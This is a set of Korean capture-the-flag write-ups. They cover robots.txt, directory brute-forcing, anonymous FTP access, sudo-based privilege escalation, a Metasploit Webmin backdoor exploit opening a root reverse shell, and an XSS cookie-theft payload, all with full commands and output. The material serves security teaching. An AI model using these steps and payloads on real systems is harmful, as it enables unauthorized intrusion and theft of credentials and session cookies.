# Example 1 : Block only googlebot
User-agent: Googlebot
Disallow: /
# Example 2 : Block Googlebot and Adsbot
User-agent: Googlebot
User-agent: AdsBot-Google
Disallow: /
# Example 3 " Block all crawler
User-agent: *
Disallow: /
웹 검색엔진은 크롤러들을 무수히 많이 보유하고있다
크롤러들은 수많은 웹 서버들과 페이지들을 스캔한다고 보면된다. 예를 들어 페이지들이나 index.html 같은 파일들을 크롤링한다 그렇게 크롤링된 페이지들이 사용자가 검색엔진에서 검색을 하게 되었을때 화면에 표출되게 해준다
하지만 웹 사이트를 운영하는 입장에서는 중요한 정보나 민감한 정보들을 보지 못하게하고 싶은 경우가 있을 것인데 그런 페이지를 허용하거나 불허 하는 규칙을 지정해놓은 것이 Robots.txt 이다
디렉터리 브루트포싱
Directory Brutefocing
숨겨진 디렉토리, 페이지 등을 찾기 위해서 사용하는 기법 중의 하나
특정 wordlist + 파일 확장자 -> 브루트포스
주의 -> 요청 속도에 따라 블랙리스트에 올라갈 수 있다.
툴 -> Gobuster, Dirb, Feroxbuster(새로운 툴)
공격자와 타겟 웹서버가 있다고 한다면 웹서버는 뒤에 가지고 있는 디렉터리나 페이지 등이 있을 것인데 이것을 굳이 표출하지 않아도 되는 것들도 많이 있을 것이다. 공격자 입장에서는 그래서 이 숨겨진 파일이나 디렉터리가 존재하는지 모를 것이다. 공격자는 그것을 알기 위해서 wordlist를 준비해서 하나하나 질의하는 것을 Directory Brutefocing 이라고한다.
주의 할점은 블랙리스트에 올라갈 수 있는데, 왜냐하면 웹 서버 입장에서는 수천 수만개의 요청을 보내면 수상하다고 여길 수 있기 때문이다.
Task 7 이미 두번이나 해킹당한 HoneyVoice 일당은 보안을 강화했다!! 이번에도 해킹 할 수 있을 것인가?
* FTP exploit, privilege escalation, misconfiguration, SUID, GTFOBins를 이용해 Permission의 중요성에 대해서 배운다
첫번째 nmap을 이용하여 열려 있는 포트 확인 후 웹페이지 확인
┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# nmap 10.10.23.74 -sV > nmap_res
┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# cat nmap_res
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-23 23:12 EDT
Nmap scan report for 10.10.23.74
Host is up (0.33s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.60 seconds
그냥 일반적인 apach2의 기본 웹페이지 It works 가 떠있다. 별 다른 것은 없고 ftp 를 확인해 봐야겠다
두번째 ftp
┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# ftp 10.10.23.74
Connected to 10.10.23.74.
220 (vsFTPd 3.0.3)
Name (10.10.23.74:root):
ftp 서버에 연결하기 위해서 name, pw 를 알아야하는데 일단 국룰처럼 확인하는 것이 있다
일단 ftp가 open port 가 되어있는 것이 확인 되었다면 항상 default로 만들어져있는 것을 먼저 해본다
anonymous:anonymous
anonymous:
ftp:ftp
이렇게 3개가 있는데 하나씩 해본다
┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# ftp 10.10.23.74
Connected to 10.10.23.74.
220 (vsFTPd 3.0.3)
Name (10.10.23.74:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
anonymous:anonymous 를 트라이 하니 접속이 되었다.
ftp> ls
229 Entering Extended Passive Mode (|||56078|)
150 Here comes the directory listing.
-rw-rw-r-- 1 1000 1000 0 Mar 12 2023 hiya
-rw-r--r-- 1 0 0 45 Mar 12 2023 temporary_pw.txt
226 Directory send OK.
ftp> get temporary_pw.txt
local: temporary_pw.txt remote: temporary_pw.txt
229 Entering Extended Passive Mode (|||58918|)
150 Opening BINARY mode data connection for temporary_pw.txt (45 bytes).
100% |*********************************| 45 10.26 KiB/s 00:00 ETA
226 Transfer complete.
45 bytes received in 00:00 (0.16 KiB/s)
ftp> exit
221 Goodbye.
┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# ls
nmap_res target temporary_pw.txt
ftp에서 파일을 가져올때는 get이라는 명령어를 사용해서 파일을 가져온다.
┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# cat temporary_pw.txt
Do you see a docx file ? Read the docx file.
파일의 내용을 확인한 결과 docx파일이 보이냐는 말이 적혀있다 뭔가 의도적으로 보이지 않게 해놓은것 같다
ftp> ls -a
229 Entering Extended Passive Mode (|||64074|)
150 Here comes the directory listing.
drwxrwxr-x 2 1000 1000 4096 Mar 12 2023 .
drwxrwxr-x 2 1000 1000 4096 Mar 12 2023 ..
-rwxrw-r-- 1 1000 1000 7173 Mar 12 2023 .ssh_creds.docx
-rw-rw-r-- 1 1000 1000 0 Mar 12 2023 hiya
-rw-r--r-- 1 0 0 45 Mar 12 2023 temporary_pw.txt
226 Directory send OK.
ls -a 를 통해서 숨겨져있는 파일을 확인한 결과 docx 파일이 하나가 있고 파일을 확인하기 위해서 libreoffice를 사용하였고
이름은 ssh id 그리고 encoding 된 코드 하나를 받을 수 있다
일단 파일을 만든 저자를 알기 위해서 metadata를 확인해야하는데 그것을 알기 위해서 exiftool 이라는 것을 사용하여 확인할 것이다.
┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# exiftool .ssh_creds.docx
ExifTool Version Number : 12.76
File Name : .ssh_creds.docx
Directory : .
File Size : 7.2 kB
File Modification Date/Time : 2023:03:11 21:31:40-05:00
File Access Date/Time : 2024:03:23 23:27:37-04:00
File Inode Change Date/Time : 2024:03:23 23:27:37-04:00
File Permissions : -rw-r--r--
File Type : DOCX
File Type Extension : docx
MIME Type : application/vnd.openxmlformats-officedocument.wordprocessingml.document
Zip Required Version : 20
Zip Bit Flag : 0x0808
Zip Compression : Deflated
Zip Modify Date : 1980:01:01 00:00:00
Zip CRC : 0x7f431349
Zip Compressed Size : 360
Zip Uncompressed Size : 1341
Zip File Name : word/numbering.xml
Creator : harry
harry 라는 저자를 알았고 비밀번호는 base64로 인코딩된 비밀번호 인걸을 확인할 수 있어서 base64로 디코딩 시켜준다
┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# ssh harry@10.10.23.74
The authenticity of host '10.10.23.74 (10.10.23.74)' can't be established.
ED25519 key fingerprint is SHA256:AWt6DBDufX3qfIbn7UQP2HTBa+F5G+yijI5p/nMJm1M.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:4: [hashed name]
~/.ssh/known_hosts:6: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.23.74' (ED25519) to the list of known hosts.
harry@10.10.23.74's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-144-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun 24 Mar 2024 03:39:11 AM UTC
System load: 0.08 Processes: 111
Usage of /: 33.6% of 9.75GB Users logged in: 0
Memory usage: 46% IPv4 address for eth0: 10.10.23.74
Swap usage: 0%
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
25 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Mar 13 03:30:45 2023 from 192.168.137.131
harry@linuxgroot:~$
harry@linuxgroot:~$ find / -name "flag.txt" 2> /dev/null
harry@linuxgroot:~$ sudo -l
Matching Defaults entries for harry on linuxgroot:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User harry may run the following commands on linuxgroot:
(root) NOPASSWD: /usr/bin/find
harry@linuxgroot:~$ sudo find / -name "flag.txt" 2> /dev/null
/root/flag.txt
flag.txt 를 바로 읽을 순 없어서 suid를 이용해 root 권한으로 실행을 시킬수 있는 바이너리를 찾아야하는데 그중에서 base64가 있다 그래서 base64 명령어는 suid를 통해 root 권한으로 실행되기 때문에 base64를 통해서 파일을 읽는다 근데 인코딩이 되어있어서 이것을 디코딩 시켜줘야한다
┌──(root㉿kali)-[~/raccoon/Robots]
└─# nmap 10.10.228.69 -sS -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-23 22:06 EDT
Nmap scan report for 10.10.228.69
Host is up (0.37s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 3.59 seconds
┌──(root㉿kali)-[~/raccoon/Robots]
└─# nmap 10.10.228.69 -sV -sC -p 22,80
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-23 22:06 EDT
Nmap scan report for 10.10.228.69
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c8:27:95:ed:47:88:cb:69:fa:2e:19:c7:03:5f:b3:26 (RSA)
| 256 96:8e:85:5b:f6:bc:43:76:52:24:dd:72:4c:65:27:79 (ECDSA)
|_ 256 22:87:05:24:cb:7a:3f:b2:a4:5e:e2:88:9a:69:b2:af (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/admin.html
|_http-title: HoneyVoice Secrets Server
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.44 seconds
ssh 공격은 좀 나중에 하고 우선 ssh와 http가 있으면 http 웹공격 먼저 시도를 할 것이다.
첫번째로 웹사이트가 뜨고 ctrl+u 를 통해서 소스코드를 확인해봤지만 딱히 단서가 될만한 것은 없다
두번째로 /robots.txt 를 통해서 경로롤 변경한 뒤에 확인을 한다
여기서 robots.txt 의 개념을 공부해야한다
검색 엔진 (goolge,naver) 등은 크롤러 라는 것을 만드는데 이것이 인터넷에 뿌려져서 다양한 웹페이지를 조사하고 어느 서버에 어느 포트에 어느 php 파일이 어디에 존재하는지를 긁어온다 admin.html 같은 중요한 페이지는 크롤러를 보고 크롤링을 금지해야한다 라고 알려주는 것이 robots.txt 이다
즉, 웹서버의 검색엔진 최적화 (SEO)에 쓰이도록 만들어 졌지만, 잘못 설정될 경우 원치않은 디렉터리나 페이지를 유출할 수 있는 파일이름은 robots.txt 이다
그래서 위 사진을 보면 allow: /index.php 이말은 index.php에 대한 크롤링은 허용 Disallow: /admin.php는 admin.php에 대한 크롤링은 허용하지 않는다. 이런 말이 이다.
하지만 우리는 공격하는 입장이기 때문에 안돼는 것은 없다!
하지만 이 admin.html은 진짜 admin 페이지는 아니고 뭔가 xxxx.hv.html 을 보라고 나와있다. 4자리의 숫자로 되어있다고 한다
그래서 우리는 이제 web directory bruteforcing 이라는 기법을 사용해서 공격을 할 것이다python을 이용해도 되고 다른 스크립트를 이용해도되지만 이번에는 bash를 이용하여 진행
──(root㉿kali)-[~/raccoon/Robots]
└─# for i in {0000..9999} ; do echo $i.hv.html >> wordlist.txt; done
┌──(root㉿kali)-[~/raccoon/Robots]
└─# ls
target wordlist.txt
┌──(root㉿kali)-[~/raccoon/Robots]
└─# tail wordlist.txt
9990.hv.html
9991.hv.html
9992.hv.html
9993.hv.html
9994.hv.html
9995.hv.html
9996.hv.html
9997.hv.html
9998.hv.html
9999.hv.html
세번째 간단한 for 문을 이용하여 wordlist.txt 를 생성
네번째 gobuster라는 툴을 이용하여 공격
──(root㉿kali)-[~/raccoon/Robots]
└─# gobuster dir -u http://10.10.228.69 -w wordlist.txt -t 100
gobuster dir 공격을 할 것이고
-u : 공격할 url
-w : 아까 생성한 wordlist를 적어주면 된다
-t : thread는 100 정도
┌──(root㉿kali)-[~/raccoon/Robots]
└─# gobuster dir -u http://10.10.228.69 -w wordlist.txt -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.228.69
[+] Method: GET
[+] Threads: 100
[+] Wordlist: wordlist.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/7289.hv.html (Status: 200) [Size: 653]
Progress: 10000 / 10001 (99.99%)
===============================================================
Finished
===============================================================
/7289.hv.html 이라는 것은 200 응답이 나와 파일이 있는 것으로 확인 되었고, 나머지는 404 error 가 발생했을 것이다.
NOPE. 이 떳지만 여기서 페이지 소스를 확인해보면
이러한 아이가 등장한다 비밀번호와 패스워드 그리고 flag 값이 나오고 보너스 문제를 풀기 위해서 ssh연결을 통해서 마지막 flag 까지 획득 하면 완벽하다
1. 첫 번째로 ping을 보내서 테스트를 해본다 ping 테스트가 성공적이라면 네트워크적인 소통은 할 수 있겠다라고 생각할 수 있다
2. 정보수집
어떤 포트가 열려 있는지 확인하기 위해서 nmap을 사용하여 스캐닝 한다
┌──(root㉿kali)-[~/raccoon/RemoteWebAdm]
└─# nmap 10.10.236.229
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-21 07:26 EDT
Nmap scan report for 10.10.236.229
Host is up (0.36s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
10000/tcp open snet-sensor-mgmt
Nmap done: 1 IP address (1 host up) scanned in 3.76 seconds
22/tcp -> ssh
10000/tcp -> snet-sensor-mgmt
두개의 포트가 열려있는 것을 확인 할 수 있다 하지만 정확한 정보를 얻기는 힘들기 때문에 좀더 자세히 확인
3. 디테일한 정보 수집
┌──(root㉿kali)-[~/raccoon/RemoteWebAdm]
└─# nmap -p 22,10000 -sV 10.10.236.229 -oA tcpDetailed
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-21 07:41 EDT
Nmap scan report for 10.10.236.229
Host is up (0.36s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
10000/tcp open http MiniServ 1.890 (Webmin httpd)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.46 seconds
-p ->옵션을 사용하여 스캐닝할 포트번호 를 적는다
-sV -> 네트워크 서비스 배너그래빙이라는 플래그가 있는데 이 플래그는 정확한 네트워크 서비스 정보나 이름을 알려주는 플래그
-oA tcpDetailed -> nmap의 출력값을 모든 형태로 tcpDetailed라는 파일이름으로 출력해줘 라는 의미
이전에는 SERVICE에서 ssh와 snet-sensor-mgmt 이러한 서비스만 하는 것으로 나와있는데 옵션을 추가하여 보면 VERSION 항이 뜨고 10000에서 사용하는 서버는 웹서버 인것을 확인할 수 있다
웹서비스를 운영하고 있으니 웹으로 한번 접속 해본다 여기서 SQL Injection,Brute forcing를 진행 할 순 있지만 일단 기존에 있던데로 진행을 한다
4. searchspoit
searchsploit은 nmap을 통해서 특정한 네트워크 웹 서비스들의 이름을 알았으니 이것을 통해서 공개된 exploit이 있는 찾아주는 툴
하지만 이것은 로그인을 해야할 수도 있어서 우리가 찾고 있는 것은 Unauthenticated Remote Code 이다 그래서 1.890에서 가장 가까운 버전중에 우리가 사용해야할 Webmin 1.920 - Unauthenticated Remote Code | linux/remote/47230.rb 이것을 한번 쓸 것이다 이것이 유용한 이유는 Remote Code Execution과 Unauthenticated Remote 이기 때문에 로그인을 하지 않고 원격으로 코드를 실행 할 수 있다
여기서 하나 더 하자면 -w 옵션을 주면 URL이 웹 페이지로 바뀐다.-> 웹 사이트로 들어간 이후에 코드를 확인할 수 있음
사이트에 나와있는 코드인데 설명에 보면 1.890 부터 1.920 까지 사용이 가능하다고 나온다 그러니 이제 본격적으로 exploit 하기전에 이것은 metasploit 모듈이기 때문에 metasploit을 사용해야한다
4. metasploit
┌──(root㉿kali)-[~/raccoon/RemoteWebAdm]
└─# msfconsole
Metasploit tip: View all productivity tips with the tips command
# cowsay++
____________
< metasploit >
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
=[ metasploit v6.3.55-dev ]
+ -- --=[ 2397 exploits - 1235 auxiliary - 422 post ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search webmin 1.920
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/http/webmin_backdoor 2019-08-10 excellent Yes Webmin password_change.cgi Backdoor
Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/webmin_backdoor
search를 통해서 사용할 수 있는 모듈이 나온다
msf6 > use 0
[*] Using configured payload cmd/unix/reverse_perl
msf6 exploit(linux/http/webmin_backdoor) > options
Module options (exploit/linux/http/webmin_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:p
ort[,type:host:port][...]
RHOSTS yes The target host(s), see https://doc
s.metasploit.com/docs/using-metaspl
oit/basics/using-metasploit.html
RPORT 10000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing conn
ections
SSLCert no Path to a custom SSL certificate (d
efault is randomly generated)
TARGETURI / yes Base path to Webmin
URIPATH no The URI to use for this exploit (de
fault is random)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface t
o listen on. This must be an address
on the local machine or 0.0.0.0 to li
sten on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be
specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (Unix In-Memory)
View the full module info with the info, or info -d command.
여기서 가장 중요한 것은 RHOST(Remote Host) 공격하고자하는 대상이고 리버스쉘을 보낼 것이기 때문에 공격자의 IP를 적는 LHOST 도 중요하다
msf6 exploit(linux/http/webmin_backdoor) > set rhost 10.10.236.229
rhost => 10.10.236.229
msf6 exploit(linux/http/webmin_backdoor) > set lhost 10.8.59.204
lhost => 10.8.59.204
msf6 exploit(linux/http/webmin_backdoor) > exploit
[*] Started reverse TCP handler on 10.8.59.204:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (10.8.59.204:4444 -> 10.10.236.229:43168) at 2024-03-21 08:20:28 -0400
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
pwd
/opt/webmin
find / -name "flag.txt"
/root/flag.txt
cd /root; cat ./flag.txt
GROOT{TH15_IS_0NLY_TH3_BEGINNING}
여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.
플래그 형식은 DH{...} 입니다.
풀이
1. 코드 분석
/vuln
xss-1에서는 /vuln에 접속하면 alert 경고문이 떳는데 이번에는 경고문이 뜨지 않는다. 코드가 다른 것같아서 확인을 해보았다.
# XSS-1과 다르게 구성되어있다
# get으로 사용자가 입력한 param을 바로 return하는 형태가 아니라, render_template 함수를 사용하고 있다는 것이다
# render_template 함수는 flask에서 제공하는 함수로, Jinja2 템플릿 엔진을 사용하여 HTML 템플릿 파일을 렌더링한다
# 주어진 템플릿 파일의 이름과 함께 전달된 변수나 값들을 템플릿에 적용하여 완성된 HTML을 생성하는 것이다
@app.route("/vuln")
def vuln():
return render_template("vuln.html")
# render_template 함수를 사용하면, 전달된 템플릿 변수가 기록될 때 HTML 엔티티코드로 변환해 저장되기 때문에 XSS가 발생하지 않게 됨
# 이용자가 입력한 값을 페이지에 그대로 출력하지 않는다는 것이다
# xss-1 은 /vuln 페이지에 접속시 alert가 떳다면 이번에는 <script>alert(1)</script>를 입력하더라고 XSS가 발생하지 않는다는 것을 확인 가능
/memo
# XSS-1 문제와 동일하게 구성되어있다.
# 이용자가 전달한 memo 파라미터 값을 render_template 함수를 통해 기록하고 출력
# 사용자가 URL의 memo 파라미터에 어떤 값을 입력하는지에 따라 화면에 출력되는 값도 달라지게 된다
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
/flag
# chech_xss 함수에서는 , 이용자가 flag에 POST로 전송한 param 값이 XSS 공격에 사용될 수 있는 값인지 아닌지 확인한다
# 이때, check_xss에서는, 이용자가 flag 페이지에 입력한 param을 포함하여 vuln페이지에 접근하는 URL을 생성
# 결과적으로, read_url 함수를 통해 vuln 페이지에 접근하는 URL과 사용자의 쿠기가 전달되는 것
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
2. 취약점 분석
xss-1는 다르게, vuln 페이지에 존재하는 innerHTML을 통해서 <script>태그로 XSS를 발생시킬 수 없는 상황
-> 다른 XSS 공격 벡터를 시도해야한다
innerHTML은 웹 개발에서 사용하는 DOM(Document Object Model)의 속성 중에 하나이다. HTML 문서의 구조나 프로그래밍적으로 조작하고자 할 때 JS를 통해 DOM을 사용한다
var content = document.getElementById('example').innerHTML; =>읽기:요소의 내부 HTML을 가져온다
document.getElementById('example').innerHTML = 'New Content'; => 쓰기: 요소의 내부 HTML을 변경한다
innerHTML을 사용하면 요소의 내부 HTML을 문자열로 읽거나 설정 할 수 있다. 이용자의 입력을 바탕으로 innerHTML을 설정했을때 XSS 공격에 취약할 수 있으므로 주의가 필요
vuln.html
vuln.html에서 소스를 보았을때 <script>아 들어가져 있는데 이 코드는 현재 페이지의 URL쿼리 문자열에서 param 파라미터 값을 추출하고, 해당 값을 페이지 내의 vuln 이라는 ID를 가진 요소의 내부 HTML로 설정하는 코드이다.
=> 파라미터의 값을 통해 "쓰기"를 수행하는 것이다.
vuln.html에 존재하는 위 같은 코드는, innerHTML을 통해 사용자가 URL의 param 쿼리 파라미터를 조작하여 웹 페이지의 내용을 변경할 수 있게 한다는 취약점 발견
여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.
플래그 형식은 DH{...} 입니다.
풀이
1. 이 문제는 Flask 프레임워크로 구성, XSS를 통해 다른 이용자의 쿠키를 탈취해야하기 때문에, 다른 이용자가 방문하는 시나리오가 필요하기 때문에 셀레늄을 통해서 구현이 되어있다
2. 코드 분석
/vuln
# vuln 페이지를 구성하는 코드, 이용자가 전달한 param 파라미터 값을 출력
@app.route("/vuln")
def vuln():
param = request.args.get("param", "") # 이용자가 입력한 vuln 인자를 가져온다
return param # 이용자의 입력값을 화면 상에 표시
/memo
# 이용자가 전달한 memo 파라미터 값을 render_template 함수를 통해 기록하고 출력
@app.route("/memo") # memo 페이지 라우팅
def memo(): # memo 함수 선언
global memo_text # 메모를 전역변수(global)로 참조
text = request.args.get("memo", "") # 이용자가 전송한 memo 입력값을 가져옴
memo_text += text + "\n" # 이용자가 전송한 memo 입력값을 memo_txt에 추가
return render_template("memo.html", memo=memo_text) # 사이트에 기록된 memo_text를 화면에 출력
/flag
# POST => params 파라미터에 값과 쿠키에 FLAG를 포함해서 chech_xss 함수를 호출한다, check_xss는 read_rul 함수를 호출해 vuln 엔드포인트에 접속
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
3. 취약점 분석
vuln과 memo 엔드포인트는 이용자의 입력값을 페이지에 출력한다
memo는 render_template 함수를 이용해 memo.html을 출력 -> render_template 함수는 전달된 템플릿 변수를 기록 할 때마다 HTML 엔티티코드로 변환해 저장하기 때문에 XSS가 발생하지 않는다
그러나 vuln은 이용자가 입력한 값을 페이지에 그대로 출력하기 때문에 XSS가 발생.
4. exploit
/vuln 엔드포인트에서 발생하는 XSS 취약점을 통해 임의의 이용자 쿠키를 탈취
탈취한 쿠키를 전달받기 위해서는 외부에서 접근가능한 웹서버를 사용하거나 memo 엔드포인트 사용
공격에 사용할 수 있는 속성
-> location.href : 전체 URL을 번환하거나, URL을 업데이트할 수 있는 속성 값
-> document.cookie : 해당 페이지에서 사용하는 쿠키를 읽고, 쓰는 속성
flag 페이지에 들어가 <script>location.href = "/memo?memo=" + document.cookie;</script>를 입력한다
입력한 후에 memo로 들어가면 flag가 찍혀 있는 모습을 확인 할 수 있다.
5. 이러한 문제를 해결하는 방법
XSS 공격은 서버에서 이용자의 입력값을 별다른 검증없이 페이지에 출력할 경우 발생할 수있는 문제점이다
주로, 이용자의 입력값이 출력되는 페이지에서 발생하며, 해당 공격으로 타 이용자의 브라우저에 저장된 쿠키 및 세션 정보를 탈취할 수 있기 때문에
악성태그를 필터링하는 HTML Sanitization을 사용하거나 엔티티 코드로 치환하는 방법을 사용하면 문제 해결이 가능하다